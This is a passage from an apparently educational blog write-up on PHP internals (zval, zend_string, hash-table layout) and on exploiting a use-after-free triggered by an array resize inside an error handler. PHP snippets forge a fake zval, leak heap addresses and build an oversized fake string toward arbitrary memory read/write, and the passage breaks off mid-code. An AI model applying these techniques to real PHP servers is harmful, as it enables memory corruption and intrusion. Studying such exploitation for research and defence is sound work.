id="x03-prerequisite-for-php-internals">0x03 Prerequisite for PHP Internals</h2><p>When I wrote content related to the PHP kernel before, I almost never included related pre-knowledge, because I didn't want to copy and paste a large amount of code, which didn't look very good. But this time, I hope more people can learn something from this article. The pre-knowledge used in this article won't be too much, so don't worry. If there are any parts you don't understand, you can email me and ask, but I can't guarantee a timely reply.</p><h3 id="zval-structure">3.1 <code>zval</code> Structure</h3><p>Variables in PHP appear in the form of <code>zval</code>, which is a <strong>tagged union</strong>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Zend/zend_types.h</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">union</span> _<span class="title">zend_value</span> &#123;</span></span><br><span class="line">    zend_long         lval;             <span class="comment">/* long value */</span></span><br><span class="line">    <span class="keyword">double</span>            dval;             <span class="comment">/* double value */</span></span><br><span class="line">    zend_refcounted  *counted;</span><br><span class="line">    zend_string      *str;</span><br><span class="line">    zend_array       *arr;</span><br><span class="line">    zend_object      *obj;</span><br><span class="line">    zend_resource    *res;</span><br><span class="line">    zend_reference   *ref;</span><br><span class="line">    zend_ast_ref     *ast;</span><br><span class="line">    zval             *zv;</span><br><span class="line">    <span class="keyword">void</span>             *ptr;</span><br><span class="line">    zend_class_entry *ce;</span><br><span class="line">    zend_function    *func;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">        <span class="keyword">uint32_t</span> w1;</span><br><span class="line">        <span class="keyword">uint32_t</span> w2;</span><br><span class="line">    &#125; ww;</span><br><span class="line">&#125; zend_value;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zval_struct</span> &#123;</span></span><br><span class="line">    zend_value        value;           <span class="comment">/* value */</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="keyword">uint32_t</span> type_info;</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">            ZEND_ENDIAN_LOHI_3(</span><br><span class="line">                zend_uchar    type;          <span class="comment">/* active type */</span></span><br><span class="line">                zend_uchar    type_flags;</span><br><span class="line">                <span class="keyword">union</span> &#123;</span><br><span class="line">                    <span class="keyword">uint16_t</span>  extra;      <span class="comment">/* not further specified */</span></span><br><span class="line">                &#125; u;</span><br><span class="line">            )</span><br><span class="line">        &#125; v;</span><br><span class="line">    &#125; u1;</span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        ...</span><br><span class="line">    &#125; u2;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>This is very common in programming language design, such as the variable representation <code>JSValue</code> in JavaScriptCore. So when understanding the internals of a programming language, you need to pay attention to its variable representation. The <code>zval.value</code> will store the actual value of the variable, while <code>zval.u1.type_info</code> will store the type information of the variable.</p><h3 id="basic-types-in-php">3.2 Basic Types in PHP</h3><p>The basic types in PHP are:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Zend/zend_types.h</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_UNDEF                    0</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_NULL                     1</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_FALSE                    2</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_TRUE                     3</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_LONG                     4</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_DOUBLE                   5</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_STRING                   6</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_ARRAY                    7</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_OBJECT                   8</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_RESOURCE                 9</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_REFERENCE                10</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IS_CONSTANT_AST             11 <span class="comment">/* Constant expressions */</span></span></span><br></pre></td></tr></table></figure><p>They appear in <code>zval.u1.v.type</code>.</p><ol type="1"><li><code>undefined</code>, <code>null</code>, <code>false</code>, and <code>true</code> can be distinguished directly by their type information;</li><li><code>long</code> and <code>double</code> are stored directly as primitive values in <code>zval.value.lval</code> and <code>zval.value.dval</code>;</li><li><code>string</code>, <code>array</code>, <code>object</code>, <code>resource</code>, <code>reference</code>, and <code>constant_ast</code> each have corresponding specific structures, and their addresses will be stored as pointers in <code>zval.value.str</code>, <code>zval.value.arr</code>, etc.</li></ol><h3 id="zend_string-structure">3.3 <code>zend_string</code> Structure</h3><p><code>zend_string</code> is used to describe the <code>string</code> type mentioned above. Its structure is as follows:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">zend_refcounted_h</span> &#123;</span></span><br><span class="line">    <span class="keyword">uint32_t</span>         refcount;          <span class="comment">/* reference counter 32-bit */</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="keyword">uint32_t</span> type_info;</span><br><span class="line">    &#125; u;</span><br><span class="line">&#125; zend_refcounted_h;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_string</span> &#123;</span></span><br><span class="line">    zend_refcounted_h gc;</span><br><span class="line">    zend_ulong        h;                <span class="comment">/* hash value */</span></span><br><span class="line">    <span class="keyword">size_t</span>            len;</span><br><span class="line">    <span class="keyword">char</span>              val[<span class="number">1</span>];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>Where:</p><ol type="1"><li><code>zend_string.gc</code>: I usually call it <code>gc_info</code>, and it contains an important part, <code>zend_string.gc.refcount</code>, which represents the reference count;</li><li><code>zend_string.h</code>: Used to cache the hash value calculated for this <code>string</code>;</li><li><code>zend_string.len</code>: Represents the length of the <code>string</code>;</li><li><code>zend_string.val</code>: Represents the actual content of the <code>string</code>, which is stored consecutively after the <code>zend_string</code> structure.</li></ol><h3 id="packed-and-mixed-arrays">3.4 Packed and Mixed Arrays</h3><p>There are two types of arrays in PHP:</p><ol type="1"><li>Packed array: An array where integers are stored consecutively as indices, e.g., <code>$arr = [1,2,3,4];</code></li><li>Mixed array: An array that mixes integer and string indices, e.g., <code>$arr = [1, 'key1' =&gt; 'val1'];</code></li></ol><p>Let's introduce the butterfly in the <code>array</code>. First is the packed array:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">                  +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line">                  | HT_INVALID_IDX              |</span><br><span class="line">                  | HT_INVALID_IDX              |</span><br><span class="line">                  +-----------------------------+</span><br><span class="line">ht-&gt;arPacked ---&gt; | ZVAL[0]                     |</span><br><span class="line">                  | ...                         |</span><br><span class="line">                  | ZVAL[ht-&gt;nTableSize-1]      |</span><br><span class="line">                  +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br></pre></td></tr></table></figure><p>Where <code>zend_array.arData</code> points to the first element. Note that it does not point to the start of the allocated memory; there are two index cells (each cell size is 4 bytes) in front, both storing <code>HT_INVALID_IDX == -1</code>. Because in a packed array, there is no need to hash the index; we can directly retrieve the value based on the index. So what are these two invalid indices doing here? They are for future use of non-integer indices in array fetches. I was previously stuck on packed arrays.</p><p>Next is the mixed array:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">                +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br><span class="line">                | HT_HASH(ht, ht-&gt;nTableMask) |</span><br><span class="line">                | ...                         |</span><br><span class="line">                | HT_HASH(ht, -1)             |</span><br><span class="line">                +-----------------------------+</span><br><span class="line">ht-&gt;arData ---&gt; | Bucket[0]                   |</span><br><span class="line">                | ...                         |</span><br><span class="line">                | Bucket[ht-&gt;nTableSize-1]    |</span><br><span class="line">                +&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;+</span><br></pre></td></tr></table></figure><p>The elements in PHP arrays are stored sequentially in memory. To resolve hash collisions, PHP links elements with the same hash into a linked list. So, to find the correct element in a mixed array, the following steps are taken:</p><ol type="1"><li>Hash the index to get the value <code>h</code>.</li><li>Calculate where it falls in the index table based on <code>h | ht-&gt;nTableMask</code>, where the index table is the area in the first element. Each index cell in the index table stores the head node of the linked list where the target element is located and the offset of <code>ht-&gt;arData</code>.</li><li>Start traversing the linked list from <code>ht-&gt;arData[h | ht-&gt;nTableMask]</code>, comparing the real index to find the target element.</li></ol><p>In a mixed array, the number of index cells in the index table is twice the capacity of the array to store elements. This relationship is maintained during array expansion. For example, if an array can store 8 elements, it will have 16 index cells. The total size of these cells is the size of the corresponding butterfly area in memory.</p><p>Regardless of whether it is a packed array or a mixed array, their minimum capacity is 8 elements, and each expansion doubles the capacity. Specifically, the structure storing a single element in a PHP array is <code>Bucket</code>, defined as follows:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">Bucket</span> &#123;</span></span><br><span class="line">    zval              val;</span><br><span class="line">    zend_ulong        h;                <span class="comment">/* hash value (or numeric index)   */</span></span><br><span class="line">    zend_string      *key;              <span class="comment">/* string key or NULL for numerics */</span></span><br><span class="line">&#125; Bucket;</span><br></pre></td></tr></table></figure><ol type="1"><li><code>Bucket.val</code>: Stores the value corresponding to the element.</li><li><code>Bucket.h</code>: Stores the integer index.</li><li><code>Bucket.key</code>: Stores the key corresponding to the element.</li></ol><h3 id="variable-assignment">3.5 Variable Assignment</h3><p>Here, let's discuss the assignment process between two <code>zval *var, *val</code>, corresponding to the parts of the functions <code>zend_assign_to_variable</code> and <code>zend_copy_to_variable</code> in <code>Zend/zend_execute.h</code>. I'll use pseudocode to highlight some important things and omit some less important information.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F; assign val to var</span><br><span class="line">if var is refcouted:</span><br><span class="line">    var_value &#x3D; get_value_from_zval(var);</span><br><span class="line">    copy_zval(var, val)</span><br><span class="line">    if (get_refcount(var_value) &#x3D;&#x3D; 1) </span><br><span class="line">        free_value(var_value)</span><br><span class="line">else</span><br><span class="line">    copy_zval(var, val)    </span><br></pre></td></tr></table></figure><p>The corresponding functions are obviously more complex than the pseudocode I provided, but we don't need to pay attention to most cases inside them. Here, we say a <code>zval</code> is refcounted, which means it corresponds to a value that requires additional memory allocation, such as <code>string</code>, <code>array</code>, and <code>object</code>, while <code>null</code>, <code>false</code>, <code>true</code>, <code>long</code>, and <code>double</code> are not refcounted because their values are directly stored in <code>zval</code>. The core logic of the assignment process here is to pay special attention to the original value of <code>var</code>.</p><p>Let me explain what's happening here:</p><ol type="1"><li>When <code>var</code> is refcounted, we do the following:<ol type="1"><li>First, we record the original value of <code>var</code> with <code>var_value</code>.</li><li>We directly copy <code>val</code> to <code>var</code> using <code>copy_zval</code>.</li><li>We check if the reference count of the original value of <code>var</code> is 1, if it is, we free the original value of <code>var</code>.</li></ol></li><li>Otherwise, we directly copy <code>val</code> to <code>var</code> using <code>copy_zval</code>.</li></ol><p>In step 1.3, if the reference count of the original value of <code>var</code> is 1, it means that this value is only used by <code>var</code>. After <code>var</code> is assigned a new value, its original value is no longer used by anyone and can be freed. The <code>copy_zval</code> function does two things:</p><ol type="1"><li>Directly copies the value of <code>val</code> to <code>var</code>.</li><li>Adjusts the reference count of the value pointed to by <code>val</code> according to the situation.</li></ol><p>We won't discuss what situations adjust the reference count for now.</p><h3 id="copy-on-write">3.6 Copy on Write</h3><p>It's a common optimization technique. Consider the following code:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a</span> = <span class="string">&#x27;aaaa&#x27;</span>;</span><br><span class="line"><span class="variable">$b</span> = <span class="variable">$a</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$b</span>;</span><br><span class="line"><span class="variable">$b</span> .= <span class="string">&#x27;b&#x27;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$b</span>;</span><br></pre></td></tr></table></figure><p>In the second line, the string <code>'aaaa'</code> is not immediately copied to the variable <code>$b</code>; instead, the reference count of the <code>string</code> pointed to by <code>$a</code> is incremented. It's not until the fourth line that the previous string is copied again to concatenate the string <code>'b'</code>, and then the new result is written to <code>$b</code>. So how does copy on write determine when to copy? It's simple: you just need to check if the reference count of the value you're pointing to is greater than 1.</p><p>These are all the PHP-related knowledge we need to know here.</p><h2 id="x04-exploitation-overview">0x04 Exploitation Overview</h2><p>Our general approach is as follows:</p><ol type="1"><li>Construct a fakeZval primitive.</li><li>Leak an address from the heap.</li><li>Construct an addressOf primitive.</li><li>Construct a conditional read/write primitive for the first stage.</li><li>Construct a stable arbitrary read/write primitive for the second stage.</li></ol><p>Referring to the common techniques used in jsc exploitation, such as fakeObj and addressOf primitives, we will construct PHP-specific fakeZval and addressOf primitives. This article does not discuss further exploitation techniques because they are often templated and commonly discussed in conventional PHP vulnerability exploitation, for saving space.</p><h2 id="x05-constructing-a-fake-zval">0x05 Constructing a Fake Zval</h2><p>The inspiration for this technique comes from the fakeObj primitive used in jsc exploitation.</p><p>Recalling our previous ideas:</p><ol type="1"><li>Trigger an array resize to release the array's butterfly.</li><li>Immediately preempt the memory corresponding to this butterfly.</li><li>Write <code>null</code> to the structure we preempted.</li></ol><p>Here we first clarify two issues:</p><ol type="1"><li>Where will <code>null</code> be written in the butterfly?</li><li>Combining our previous understanding of the assignment process between two <code>zval</code>s, how do we successfully pass the operation of writing <code>null</code>?</li></ol><p><strong>For the first issue</strong>, it is meaningless; <code>null</code> will be written to the element specified by the index. For example, if I define a mixed array as follows:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a1_str</span> = <span class="string">&#x27;eeee&#x27;</span></span><br><span class="line"><span class="variable">$victim_arr</span> = <span class="keyword">array</span>(</span><br><span class="line">    <span class="string">&#x27;a1&#x27;</span> =&gt; <span class="variable">$a1_str</span>,</span><br><span class="line">    <span class="string">&#x27;a2&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a3&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a4&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a5&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a6&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a7&#x27;</span> =&gt; <span class="number">1</span>,</span><br><span class="line">    <span class="string">&#x27;a8&#x27;</span> =&gt; <span class="number">1</span>, </span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>Its memory layout (as we mentioned before, 8 elements correspond to 16 index cells) is:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">                          ┌───────────────┐       </span><br><span class="line">                          │ index_cell15  │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │   ...         │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │ index_cell1   │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │ index_cell0   │ │ addr</span><br><span class="line">$victim_arr[&#39;a1&#39;]──────►  |───────────────┤ │     </span><br><span class="line">                          │   bucket0     │ │     </span><br><span class="line">                          ├───────────────┤ │     </span><br><span class="line">                          │   bucket1     │ │     </span><br><span class="line">                          ├───────────────┤ ▼     </span><br><span class="line">                          │   ...         │       </span><br><span class="line">                          ├───────────────┤       </span><br><span class="line">                          │   bucket7     │       </span><br><span class="line">                          └───────────────┘      </span><br></pre></td></tr></table></figure><p>If we want to write <code>$a[0] = $undef_var</code> for this array, the offset relative to the starting address of this butterfly area should be <code>4 * 16 = 64</code>.</p><p><strong>For the second issue</strong>, after the butterfly area above is released, we immediately construct a properly sized <code>string</code> to take it. For example:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$zend_array_burket_size</span> = <span class="number">0x20</span>;</span><br><span class="line"><span class="variable">$zend_table_index_size</span> = <span class="number">0x4</span>;</span><br><span class="line"><span class="variable">$zend_string_size</span> = <span class="number">0x20</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$user_str_length</span> = <span class="number">16</span> * <span class="variable">$zend_table_index_size</span> + <span class="number">8</span> * <span class="variable">$zend_array_burket_size</span> - <span class="variable">$zend_string_size</span>;</span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a9&#x27;</span>] = <span class="number">1</span>;</span><br><span class="line">    <span class="variable">$user_str</span> = str_repeat(<span class="string">&#x27;b&#x27;</span>, <span class="variable">$user_str_length</span>);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>For a <code>string</code>, its first <code>0x18</code> bytes belong to the header, specifically:</p><ol type="1"><li>+0x0: reference count.</li><li>+0x4: gc information.</li><li>+0x08: hash value cache, if this <code>string</code> has been hashed, the resulting hash will be stored here.</li><li>+0x16: string length.</li><li>The remaining part stores the string content.</li></ol><p>So obviously, the location to write <code>0x40</code> falls within the string content that we can control. Therefore, we can forge a zval to satisfy the check mentioned earlier in the assignment process, allowing <code>null</code> to be written smoothly to this fake zval.</p><h2 id="x06-leaking-an-address">0x06 Leaking an Address</h2><p>To bypass ASLR or read/write the content of a specified address, we first need to leak some addresses to accurately locate the ones we need. The process here is a bit tricky; we leverage PHP's weak type conversion. Consider the following code:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>] .= <span class="literal">null</span>;</span><br><span class="line">var_dump(<span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>]); </span><br><span class="line"><span class="comment">// output: string(1) &quot;1&quot;</span></span><br></pre></td></tr></table></figure><p>In line 3, there is a string concat operation that concatenates <code>$a['a1']</code> and <code>null</code>. However, neither of them is a <code>string</code>, so there will be a weak conversion here. <code>true</code> will be converted to the string <code>"1"</code>, and <code>null</code> will be converted to an empty string. Finally, the string <code>"1"</code> with a value of "1" is written to <code>$a['a1']</code>, so <code>$a['a1']</code> will hold the pointer to this string. Through the previously mentioned UAF, <code>$a['a1']</code> actually resides in the memory we can control (i.e., <code>$user_str</code>), which corresponds to the zval we constructed using fakeZval. By reading <code>$user_str</code>, we obtain the address of this string.</p><p>At this point, the memory layout of <code>$user_str</code> should be as follows:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">                              ┌──────────────┐                                 </span><br><span class="line">                              │              │                                 </span><br><span class="line">                              │ string_header│                                 </span><br><span class="line">                              │              │                                 </span><br><span class="line">                              ├──────────────┤0x18                             </span><br><span class="line">                              │              │                                 </span><br><span class="line">                              │    ...       │                                 </span><br><span class="line">                              │              │                     string: &#39;1&#39; </span><br><span class="line">fake_zval_with_null──────────►├──────────────┤0x40 ◄─────────────┬────────────┐</span><br><span class="line">            │  zval_value     │    0x0       │                   │  gc_header │</span><br><span class="line">            ├────────────────►├──────────────┤0x48               ├────────────┤</span><br><span class="line">            │  zval_type      │    0x3       │                   │  hash      │</span><br><span class="line">            └────────────────►├──────────────┤                   ├────────────┤</span><br><span class="line">                              │              │                   │  len       │</span><br><span class="line">                              │              │                   ├────────────┤</span><br><span class="line">                              │              │                   │  content   │</span><br><span class="line">                              └──────────────┘                   └────────────┘</span><br></pre></td></tr></table></figure><p>Note that <code>0x3</code> inside represents that this fake zval is a <code>true</code>. Because this fake zval is just a value waiting to be assigned, it's just a <code>null</code>, not a refcounted type value mentioned earlier. Therefore, the assignment process here is very simple:</p><ol type="1"><li>Copy the address of <code>string: "1"</code> to <code>zval.value.str</code> of the fake zval.</li><li>Modify the type of the fake zval to <code>is_string</code>.</li></ol><p>Note that there is a <strong>minor issue</strong> here; you will notice that the leaked address of the <code>string</code> does not reside on the heap managed by PHP itself, used to store various PHP runtime structures, but rather on the heap managed by glibc through <code>malloc/free</code>. This is because of a minor optimization by PHP for strings. PHP pre-allocates strings for common strings. If these strings are encountered during runtime, they are simply returned from the pre-allocated ones, avoiding frequent allocation. These strings appear in PHP as <em>persistent strings</em>, and their memory is allocated through <code>malloc</code>.</p><p>The weak conversion of <code>true</code> corresponds to the single character <code>"1"</code>, which happens to be one of these known strings, and when concatenated here, it's an empty string. This results in the final value being this known <code>string</code>. If we want to obtain an address on PHP's own heap, we must bypass it. It's simple; we can use <code>int</code> or <code>double</code> as the value of the fake zval. Here I'm using <code>int: (100)</code>, and later I'll explain why 100 is used.</p><h2 id="x07-obtaining-a-block-of-memory">0x07 Obtaining a Block of Memory</h2><p>Currently, we have the address <code>str100_addr</code> of <code>string: "100"</code>. Let's first take a look at the memory layout of <code>string: "100"</code>:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">                    string : &quot;100&quot;             </span><br><span class="line">              ┌────────────────────────┐       </span><br><span class="line">              │   0x0000001600000001   │gc_info</span><br><span class="line">fake_string──►├────────────────────────┤       </span><br><span class="line">              │   0x0000000000000000   │hash   </span><br><span class="line">              ├────────────────────────┤       </span><br><span class="line">              │   0x0000000000000003   │len    </span><br><span class="line">              ├────────────────────────┤       </span><br><span class="line">fake_len─────►│   0x00007fff00303031   │content</span><br><span class="line">              ├────────────────────────┤       </span><br><span class="line">              │                        │       </span><br><span class="line">              └────────────────────────┘       </span><br></pre></td></tr></table></figure><p>The <code>0x303031</code> at <code>content</code> actually corresponds to the string <code>"100"</code>. Imagine if we could construct a zval using the fakeZval primitive, let its type be <code>string</code>, and make its value point to <code>str100_addr + 0x8</code>, which is the position of <code>fake_string</code> in the above diagram. Starting from <code>fake_string</code>, we construct a new <code>string</code> with a length of <code>0x00007fff00303031</code>. The <code>7fff</code> appearing here is some random data on the heap, and <code>0x303031</code> is greater than the capacity of a memory chunk in PHP, <code>0x200000</code>, so this fake_string can cover the entire memory chunk. This is why I used <code>int: (100)</code> earlier.</p><p>Our idea is: Can I use this fake_string to read the content behind the memory? Then I need to obtain this fake_string, as follows:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">reset_victim_arr_and_user_str();</span><br><span class="line"></span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="comment">// resize</span></span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$victim_arr</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$user_str_length</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$user_str</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$first_elem_offset</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$zend_string_header</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$str100_addr</span>;</span><br><span class="line">    </span><br><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a9&#x27;</span>] = <span class="number">1</span>;</span><br><span class="line">    <span class="variable">$user_str</span> = str_repeat(<span class="string">&#x27;b&#x27;</span>, <span class="variable">$user_str_length</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// construct fake zval that contains a fake zend_string;</span></span><br><span class="line">    <span class="comment">// 1. zval.value.str &lt;= $leak_addr + 0x8;</span></span><br><span class="line">    <span class="comment">// 2. zval.u1.type_info &lt;= is_string_ex == (6 | (1 &lt;&lt; 8));</span></span><br><span class="line">    writestr64(<span class="variable">$user_str</span>, <span class="variable">$first_elem_offset</span> - <span class="variable">$zend_string_header</span>, <span 